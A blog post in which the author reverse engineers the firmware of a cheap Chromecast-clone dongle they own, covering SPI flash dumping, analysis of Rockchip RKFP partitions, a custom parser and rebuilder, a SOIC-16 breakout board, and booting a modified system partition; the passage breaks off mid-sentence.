&lt;p&gt;This article explains how I reconstructed a modified firmware for this device.&lt;/p&gt;

&lt;h2 id=&quot;overview-of-the-chromemiraany-cast-device&quot;&gt;Overview of the Chrome/Mira/Any-cast device&lt;/h2&gt;

&lt;p&gt;The target was a cheap Chromecast (or Miracast or Anycast) “clone” bought on
Aliexpress (I am not sure because it was a “gift”). Such a device lets users
cast audio and video on their TV as shown in Figure 1 (HDMI output). In addition
to a HDMI connector, this device is bundled with an external WiFi adapter (USB).&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/03/hdmi-output-device.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 1: A screenshot of the default HDMI output (taken with a capture card)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;When the device is powered on for the first time, it creates a WiFi network,
e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DONGLE-11BA8F&lt;/code&gt;. Users should first connect to this network with their
smartphone or laptop, and configure the device using a web app as shown in
Figure 2. This step is necessary to allow the device to connect to the user’s
WiFi network.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/03/web-app.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 2: Two screenshots of the web application&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Once the device has restarted and joined the user’s WiFi network, users can
theoretically send audio or video to the device and have it played on TV.
According to the manual, this device should work with the “Chromecast protocol”
but it didn’t work &lt;em&gt;that&lt;/em&gt; well for me.&lt;/p&gt;

&lt;p&gt;I was able to cast audio and pictures but not video. Google Home wasn’t able to
communicate with the device in a stable manner. I tried many different
applications on both iOS and Android and I wasn’t able to achieve much. I tried
to upgrade the device but the remote server was not found… These are the
reasons why I decided to “hack” this device.&lt;/p&gt;

&lt;p&gt;Besides having fun, my goal was to find ways to “fix” this device either by
updating the software or re-purposing it. I knew it’d be complex but also that
I’d learn a lot. At the time of writing, I didn’t achieve my goal yet but I made
good progress.&lt;/p&gt;

&lt;p&gt;I explained how I gained access to a Linux console in the Twitter thread so I am
not going to repeat myself here. Instead, the rest of this blog post describes
what happened next.&lt;/p&gt;

&lt;h2 id=&quot;diving-into-the-content-of-the-spi-flash&quot;&gt;Diving into the content of the SPI flash&lt;/h2&gt;

&lt;p&gt;I was left with a full dump of the SPI flash (the storage component of this
device) and many questions. I used &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot;&gt;binwalk&lt;/a&gt; to get an overview of the content
of the SPI flash.&lt;/p&gt;

&lt;p&gt;The dump contained a Linux kernel (the three first entries in the output below)
and two file systems: &lt;a href=&quot;https://en.wikipedia.org/wiki/JFFS2&quot;&gt;Journalling Flash File System version 2&lt;/a&gt; (JFFS2)
and &lt;a href=&quot;https://en.wikipedia.org/wiki/SquashFS&quot;&gt;SquashFS&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ binwalk flash.dump
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
264192        0x40800         Linux kernel ARM boot executable zImage (little-endian)
280492        0x447AC         gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
3292936       0x323F08        Flattened device tree, size: 49912 bytes, version: 17
4456448       0x440000        JFFS2 filesystem, little endian
5242880       0x500000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 10778932 bytes, 412 inodes, blocksize: 524288 bytes, created: 2020-12-02 03:03:01
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I kindly asked &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binwalk&lt;/code&gt; to extract the SquashFS partition:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ls squashfs-root/
bin/  build.prop*  etc/  fonts/  lib/  usr/  vendor/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the Twitter thread, I mentioned that the device was running Android. This
SquashFS partition is very likely the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt; partition. Among other things, it
contains the content of the web application described in the previous section.
Each page is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Common_Gateway_Interface&quot;&gt;CGI&lt;/a&gt; ELF binary:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file squashfs-root/bin/home.cgi
squashfs-root/bin/home.cgi: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After a few Google/GitHub searches, I had found extremely &lt;a href=&quot;https://github.com/gfa99/rk3399_devenv/tree/208aaa4dabe7fdf875b84e834f8ed91cae0de5f7/external/rk_webui/www&quot;&gt;similar sources of
these CGI files&lt;/a&gt;. None of these scripts seemed particularly
interesting, though.&lt;/p&gt;

&lt;p&gt;I also took a quick look at the JFFS2 partition, which appeared to be the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt;
partition (of an Android-based system) but I didn’t find anything useful either.&lt;/p&gt;

&lt;p&gt;Last, I used &lt;a href=&quot;https://elinux.org/Device_Tree_Reference#fdtdump&quot;&gt;fdtdump&lt;/a&gt; to explore the &lt;a href=&quot;https://www.kernel.org/doc/html/latest/devicetree/usage-model.html&quot;&gt;device tree&lt;/a&gt;, i.e. the “hardware
configuration” of this device for the Linux kernel (&lt;a href=&quot;https://embeddedbits.org/what-differs-android-from-other-linux-based-systems/&quot;&gt;Android uses the Linux
kernel&lt;/a&gt;). This gives an idea of which hardware may be present
and how it should be used by the kernel, and it could be useful information
later.&lt;/p&gt;

&lt;p&gt;After that, I looked at the &lt;em&gt;structure&lt;/em&gt; of the SPI flash.&lt;/p&gt;

&lt;h3 id=&quot;mtd-partitions&quot;&gt;MTD partitions&lt;/h3&gt;

&lt;p&gt;Based on the kernel logs I had captured when I was using the Linux console over
serial, I knew the content was divided into 5 different partitions: &lt;em&gt;loader&lt;/em&gt;,
&lt;em&gt;kernel&lt;/em&gt;, &lt;em&gt;data&lt;/em&gt;, &lt;em&gt;system&lt;/em&gt; and &lt;em&gt;misc&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[    0.379500] Creating 5 MTD partitions on &quot;rk29xxnand&quot;:
[    0.379538] 0x000000000000-0x000000040000 : &quot;loader&quot;
[    0.380859] 0x000000040000-0x000000440000 : &quot;kernel&quot;
[    0.382175] 0x000000440000-0x000000500000 : &quot;data&quot;
[    0.383466] 0x000000500000-0x000000ffd000 : &quot;system&quot;
[    0.384697] 0x000000ffd000-0x000000ffe000 : &quot;misc&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Out of 5 &lt;a href=&quot;https://bootlin.com/blog/managing-flash-storage-with-linux/&quot;&gt;MTD partitions&lt;/a&gt;, 3 have been seen previously: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt;. Note that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel&lt;/code&gt; partition starts at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40000&lt;/code&gt; but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binwalk&lt;/code&gt;
found the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zImage&lt;/code&gt; at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40800&lt;/code&gt;. We’ll get back to that in a moment. For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt;
and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt;, the offsets in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binwalk&lt;/code&gt; output match the base addresses in
the logs above.&lt;/p&gt;

&lt;p&gt;This time, I used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dd&lt;/code&gt; to split the original dump into different binary files
based on the address ranges printed in the kernel logs above. I then looked at
each file individually, and made the following observations:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel.bin&lt;/code&gt; is not recognized by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt;, weird.&lt;/li&gt;
  &lt;li&gt;although &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data.bin&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system.bin&lt;/code&gt; are correctly detected as file systems
by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bin&lt;/code&gt; files extracted with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dd&lt;/code&gt; seem different than the files
extracted with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binwalk&lt;/code&gt;. Maybe because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binwalk&lt;/code&gt; tried to find &lt;a href=&quot;https://en.wikipedia.org/wiki/Magic_number_(programming)&quot;&gt;magic
numbers&lt;/a&gt; and metadata (like the size of the content it has to extract)? I
am not sure.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;misc.bin&lt;/code&gt; is an “empty” binary file.&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file *.bin
loader.bin:  data
kernel.bin:  data
data.bin  :  Linux jffs2 filesystem data little endian
system.bin:  Squashfs filesystem, little endian, version 4.0, xz compressed, 10778932 bytes, 412 inodes, blocksize :  524288 bytes, created :  Wed Dec  2 03:03:01 2020
misc.bin  :  ISO-8859 text, with very long lines, with no line terminators
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Given I had already analyzed the “data partitions” (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt;), I
decided to study the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loader&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel&lt;/code&gt; partitions next.&lt;/p&gt;

&lt;h3 id=&quot;the-loader-partition&quot;&gt;The loader partition&lt;/h3&gt;

&lt;p&gt;I ran &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt; on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loader.bin&lt;/code&gt; file, which returned a few strings that I
already read before. Indeed, this partition contains the code that loads the
Linux kernel and some of the strings found in the binary appeared in the boot
logs collected over serial:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DDR Version 1.08 20170609
In
DDR2
396MHz
BW=16 Col=10 Bk=8 Row=13 CS=1 Size=128MB
OUT
0 BUILD: Apr 13 2018 09:17:13, version: 1.24
sfc nor id: c2 20 18 10 3c
g_spi_flash_info id 0x00c22018.
AddrMode: 0
ReadLines: 0
ProgLines: 0
ReadCmd: 3
ProgCmd: 2
blkEraseCmd: d8
secEraseCmd: 20
boot_media = 0x10
flash vendor_storage_init
OK! 21154
loader flag: 0x0
start_linux=====258615
multi-entries loader - fw_status: 0x1, kernel_addr 200, 259 ms
enter LoadKernel @263 ms
hdr.loader_load_size= 2efa00
hdr.loader_load_addr= 62000000
load kernel data done @1043 ms
run kernel@0x62000000 =====1043 ms
loader update successfully =====1046 ms
&amp;lt;hit enter to activate fiq debugger&amp;gt;
[    0.000000] Booting Linux on physical CPU 0xf00
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It looks like the bootloader is named “DDR” and the version is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.08&lt;/code&gt;. I found
binaries for &lt;a href=&quot;https://github.com/rockchip-linux/rkbin/tree/7d631e0d5b2d373b54d4533580d08fb9bd2eaad4/bin/rk30&quot;&gt;other versions of this bootloader&lt;/a&gt; on the web but not for
the version I had (huh?), and no source code.&lt;/p&gt;

&lt;p&gt;I also ran &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hexdump&lt;/code&gt; on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loader.bin&lt;/code&gt; and was faced with the following output:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00000000  52 4b 46 50 e4 07 0c 02  0b 03 0e 00 19 00 05 10  |RKFP............|
00000010  00 02 00 00 01 00 00 00  f0 7f 00 00 80 00 00 00  |................|
00000020  06 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001f0  00 00 00 00 00 00 00 00  98 45 32 7b a8 8a fb fa  |.........E2{....|
00000200  76 65 6e 64 6f 72 00 00  00 00 00 00 00 00 00 00  |vendor..........|
00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000220  01 00 00 00 08 00 00 00  38 00 00 00 00 70 00 00  |........8....p..|
00000230  00 00 00 00 01 00 00 00  00 00 00 00 00 00 00 00  |................|
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I tried to find more information about the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RKFP&lt;/code&gt; magic number. There isn’t a
lot of information about it. This seems to be a proprietary image format but its
structure is partially known and open source. I found the definitions of the
different structures in &lt;a href=&quot;https://github.com/rockchip-linux/kernel/blob/82c9666cb6fe999eb61f23c2c9d0d5dad7332fb6/drivers/rkflash/rkflash_blk.h&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rkflash_blk.h&lt;/code&gt;&lt;/a&gt; (Linux kernel) and
&lt;a href=&quot;https://www.programmersought.com/article/23645928333/&quot;&gt;this page&lt;/a&gt; helped a lot by providing additional context!&lt;/p&gt;

&lt;h3 id=&quot;the-kernel-partition&quot;&gt;The kernel partition&lt;/h3&gt;

&lt;p&gt;I read the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel.bin&lt;/code&gt; file with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hexdump&lt;/code&gt;. The first few bytes are shown
below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ hexdump -C part-kernel.bin
00000000  4b 45 52 4e 45 4c 00 00  00 00 00 00 00 00 00 00  |KERNEL..........|
00000010  00 00 00 62 00 fa 2e 00  cc ec ad 80 20 00 00 00  |...b........ ...|
00000020  7a 46 9d 1b 84 4d be a7  59 81 3a 48 d2 19 67 a4  |zF...M..Y.:H..g.|
00000030  79 9c d3 78 d9 3f d6 5a  c7 34 03 ec 1b 09 84 b9  |y..x.?.Z.4......|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This looks like some kind of partition header. That’s odd because (1) the other
partitions don’t appear to have any header like that, and (2) I only found
RockChip tools that deal with images with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KRNL&lt;/code&gt; as magic number, not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KERNEL&lt;/code&gt;.
Ugh.&lt;/p&gt;

&lt;p&gt;In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hexdump&lt;/code&gt; output above, I noticed two values on the second line that
looked familiar. Indeed, in the bootloader logs, there were these two lines:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hdr.loader_load_size= 2efa00
hdr.loader_load_addr= 62000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The load address is therefore at offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x10&lt;/code&gt; in this “kernel header”, and the
(kernel?) size is at offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x15&lt;/code&gt;. Then we have another 4 bytes, which seems to
be the CRC for this header. The next 4 bytes hold a value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x20&lt;/code&gt; and that
looks like the length of the following bytes (from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x20&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40&lt;/code&gt;). Some
checksum, maybe? This could be the length of a SHA-256 hash.&lt;/p&gt;

&lt;p&gt;After this header, there is some padding until offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x800&lt;/code&gt; where we find some
ARM instructions (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;00 00 A0 E1&lt;/code&gt;). This explains why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binwalk&lt;/code&gt; found the kernel
at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40800&lt;/code&gt; before.&lt;/p&gt;

&lt;p&gt;At this point, I had enough information about the content of the SPI flash. As
stated at the top of this blog post, my goal was to fix this device. Writing a
parser for these RKFP images would be a good first step to be able to update the
firmware eventually.&lt;/p&gt;

&lt;h2 id=&quot;parsing-rkfp-images&quot;&gt;Parsing RKFP images&lt;/h2&gt;

&lt;p&gt;I developed &lt;a href=&quot;https://github.com/willdurand/hardware-hacking-cast-device&quot;&gt;a tool&lt;/a&gt; in C to print information about RKFP images. I
also found two other similar (SPI flash) dumps in the wild, allowing me to have
more examples while developing my tool. In particular, it turned out that the
image I had dumped myself had a CRC mismatch 😅&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./build/cli info flash.dump

Input file:
  name: flash.dump
  size: 16777216 bytes

Header:
  firmware tag           : RKFP
  firmware version       : 16.05.25
  release date           : 2020-12-02 at 11:03:14
  size                   : 512 bytes
  partition_offset       : 1 sectors
  backup_partition_offset: 32752 sectors
  partition_size         : 128 bytes
  partition_count        : 6
  fw_size                : 0 bytes
  partition_crc          : 0x7B324598
  header_crc             : 0xFAFB8AA8

CRC:
  WARNING! header CRC mismatch (got 0x74B94941)
  partition CRC: OK

Partition #00 - 0x00001000-0x00008000
  name     : vendor
  type     : 0x01
  offset   :     4096 bytes (0x1000)
  size     :    28672 bytes (0x7000)
  data size:    28672 bytes (0x7000)
  property : 0x00

Partition #01 - 0x00008000-0x00038000
  name     : IDBlock
  type     : 0x02
  offset   :    32768 bytes (0x8000)
  size     :   196608 bytes (0x30000)
  data size:    86016 bytes (0x15000)
  property : 0x00

Partition #02 - 0x00040000-0x00440000
  name     : kernel
  type     : 0x04
  offset   :   262144 bytes (0x40000)
  size     :  4194304 bytes (0x400000)
  data size:  3080708 bytes (0x2F0204)
  property : 0x00

Partition #03 - 0x00440000-0x00500000
  name     : data
  type     : 0x08
  offset   :  4456448 bytes (0x440000)
  size     :   786432 bytes (0xC0000)
  data size:   786432 bytes (0xC0000)
  property : 0x00

Partition #04 - 0x00500000-0x00FFD000
  name     : system
  type     : 0x0C
  offset   :  5242880 bytes (0x500000)
  size     : 11522048 bytes (0xAFD000)
  data size: 10780672 bytes (0xA48000)
  property : 0x00

Partition #05 - 0x00FFD000-0x00FFE000
  name     : misc
  type     : 0x0F
  offset   : 16764928 bytes (0xFFD000)
  size     :     4096 bytes (0x1000)
  data size:        0 bytes (0x0)
  property : 0x00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Most partitions were not new because they were listed as “MTD partitions” and I
had already analyzed some of them. The tool found 6 &lt;em&gt;RKFP partitions&lt;/em&gt;, though.
Instead of having a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loader&lt;/code&gt; partition, we had two partitions: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vendor&lt;/code&gt; and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDBlock&lt;/code&gt;. “ID Block” is apparently a header for Rockchip BootRom.&lt;/p&gt;

&lt;p&gt;Next, I wrote a new command (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extract_rkfp&lt;/code&gt;) to extract the actual data located
in each RKFP partition. It is worth mentioning that I later found the
&lt;a href=&quot;https://github.com/linux-rockchip/rkflashtool&quot;&gt;rkflashtool&lt;/a&gt; project, which offers a tool to unpack RKFP images too (among
other things). Both this tool and mine were producing identical partition
files.&lt;/p&gt;

&lt;p&gt;At this point, I was able to read information from a RKFP image, verify the
different CRCs and extract the data contained in each partition. I had two
options: (1) stop there and forget about this project, or (2) find out how to
make a RKFP image 😬&lt;/p&gt;

&lt;h2 id=&quot;reconstructing-rkfp-images&quot;&gt;Reconstructing RKFP images&lt;/h2&gt;

&lt;p&gt;I tried to reconstruct the RKFP images I had (the one I dumped and two I found
online). My idea was to invert the “read” process by appending the different
RKFP partitions extracted with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make_rkfp&lt;/code&gt; after having written a “RKFP header”.&lt;/p&gt;

&lt;p&gt;Obviously, this didn’t work… I used &lt;a href=&quot;https://github.com/madsen/vbindiff&quot;&gt;VBinDiff&lt;/a&gt; (a lot) to compare the
original image and the one I had reconstructed with my tool. The header appeared
to be correct but there were differences in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDBlock&lt;/code&gt; partition and in some
other locations.&lt;/p&gt;

&lt;p&gt;I realized that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDBlock&lt;/code&gt; partition was special: although it had a data size
of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;N&lt;/code&gt;, its actual size was almost three times bigger and after having inspected
its content, I had the impression that there was more data than what the
partition metadata was saying. Some more searches about this mysterious
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setting.ini&lt;/code&gt; file mentioned &lt;a href=&quot;https://www.programmersought.com/article/23645928333/&quot;&gt;here&lt;/a&gt; made me conclude that there
were probably two loaders. Given that this partition likely contained
proprietary code that I needed anyway but didn’t necessarily need to change, I
adjusted my tool. I special-case’d the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDBlock&lt;/code&gt; partition so that the entire
partition was (1) extracted with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extract_rkfp&lt;/code&gt;, and (2) written with
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make_rkfp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I could then generate a RKFP image that looked almost like the original one. The
images I found online had extra “backup metadata”, which I didn’t have in the
image coming from my device. I wrote code for that, too.&lt;/p&gt;

&lt;p&gt;I was kinda confident with my tool but I hadn’t tried the new images on the
device yet so its effectiveness was purely theoretical.&lt;/p&gt;

&lt;h2 id=&quot;a-breakout-board-for-soic-16&quot;&gt;A breakout board for SOIC-16&lt;/h2&gt;

&lt;p&gt;In order to verify that my tool was producing correct firmware, I needed a way
to write to the SPI flash chip and then boot the device. Near the end of the
Twitter thread, the flash had been desoldered. Soldering and desoldering the
flash every time was not an option, and I couldn’t properly use &lt;a href=&quot;https://www.flashrom.org/Flashrom&quot;&gt;flashrom&lt;/a&gt;
when the flash was soldered on the device.&lt;/p&gt;

&lt;p&gt;I decided to design a small PCB to get access to the flash pins using a 1.27mm
16-pin socket, which would be soldered on the device (see Figure 3). The same
board could also be reused with a plug on one side and the flash chip on the
other side (see Figure 4).&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/03/kicad-breakout-board.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 3: The 3D view of the breakout board for SOIC-16&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It was the first time I designed a PCB with castellated holes. &lt;a href=&quot;https://oshpark.com/&quot;&gt;OSH Park&lt;/a&gt; did
an amazing work on such small boards (about the size of 1 cent coins) 😍&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/03/socket-and-plug.wepb&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 4: A breakout board is mounted on the PCB and a&lt;br /&gt;second breakout board
holds the SPI flash + a plug on the other side&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;With these breakout boards assembled (see Figure 5), I could easily write to the
flash and test my changes on real hardware. Before that, I made sure that the
device could still boot with the original firmware (still present on the flash).&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/03/breakout-board-on-pcb.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 5: The SPI flash mounted on the device (blue circle)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I then used &lt;a href=&quot;https://www.flashrom.org/Flashrom&quot;&gt;flashrom&lt;/a&gt; to put the reconstructed (unmodified) firmware on the
SPI flash and I powered on the device. Success! The device booted and everything
seemed to work as before.&lt;/p&gt;

&lt;p&gt;My next experiment was about producing and booting a modified firmware.&lt;/p&gt;

&lt;h2 id=&quot;modifying-the-system-partition&quot;&gt;Modifying the system partition&lt;/h2&gt;

&lt;p&gt;I opted to change the system partition. The first step was to know which options
to use to rebuild the SquashFS partition:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ unsquashfs -s part-system.bin
Found a valid SQUASHFS 4:0 superblock on 500000.squashfs.
Creation or last append time Wed Dec  2 04:03:01 2020
Filesystem size 10778932 bytes (10526.30 Kbytes / 10.28 Mbytes)
Compression xz
        Dictionary size 524288
        Filters selected: arm
Block size 524288
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I changed a file in the extracted content and then rebuilt the partition:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ mksquashfs squashfs-root new-system-partition.bin -comp xz -Xbcj arm -b 524288 -all-root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I then reused the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make_rkfp&lt;/code&gt; command to create a new RKFP image and loaded it
on the SPI flash, then put the flash back on the device and powered it on. 3..
2.. 1.. Success! 😎&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2022/03/hdmi-output-new-firmware.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Figure 6: HDMI output with the modified firmware&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;work-in-progress&quot;&gt;Work in progress&lt;/h2&gt;

&lt;p&gt;Only the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt; partition has been altered in the previous section but the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; partition could have been equally modified. I had no interest in changing
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loader&lt;/code&gt; partition and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;misc&lt;/code&gt; one was empty. This leaves us with the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel&lt;/code&gt; partition.&lt;/p&gt;

&lt;p&gt;I added a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extract_kernel&lt;/code&gt; command to my tool to extract the data from the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel&lt;/code&gt; partition. This was a requirement to understand how to make such a
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel&lt;/code&gt; partition in the future, the main motivation being to eventually update
the version of the Linux kernel.&lt;/p&gt;

&lt;p&gt;The extracted data appears to be a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zImage&lt;/code&gt; with DTB files appended to it. I am
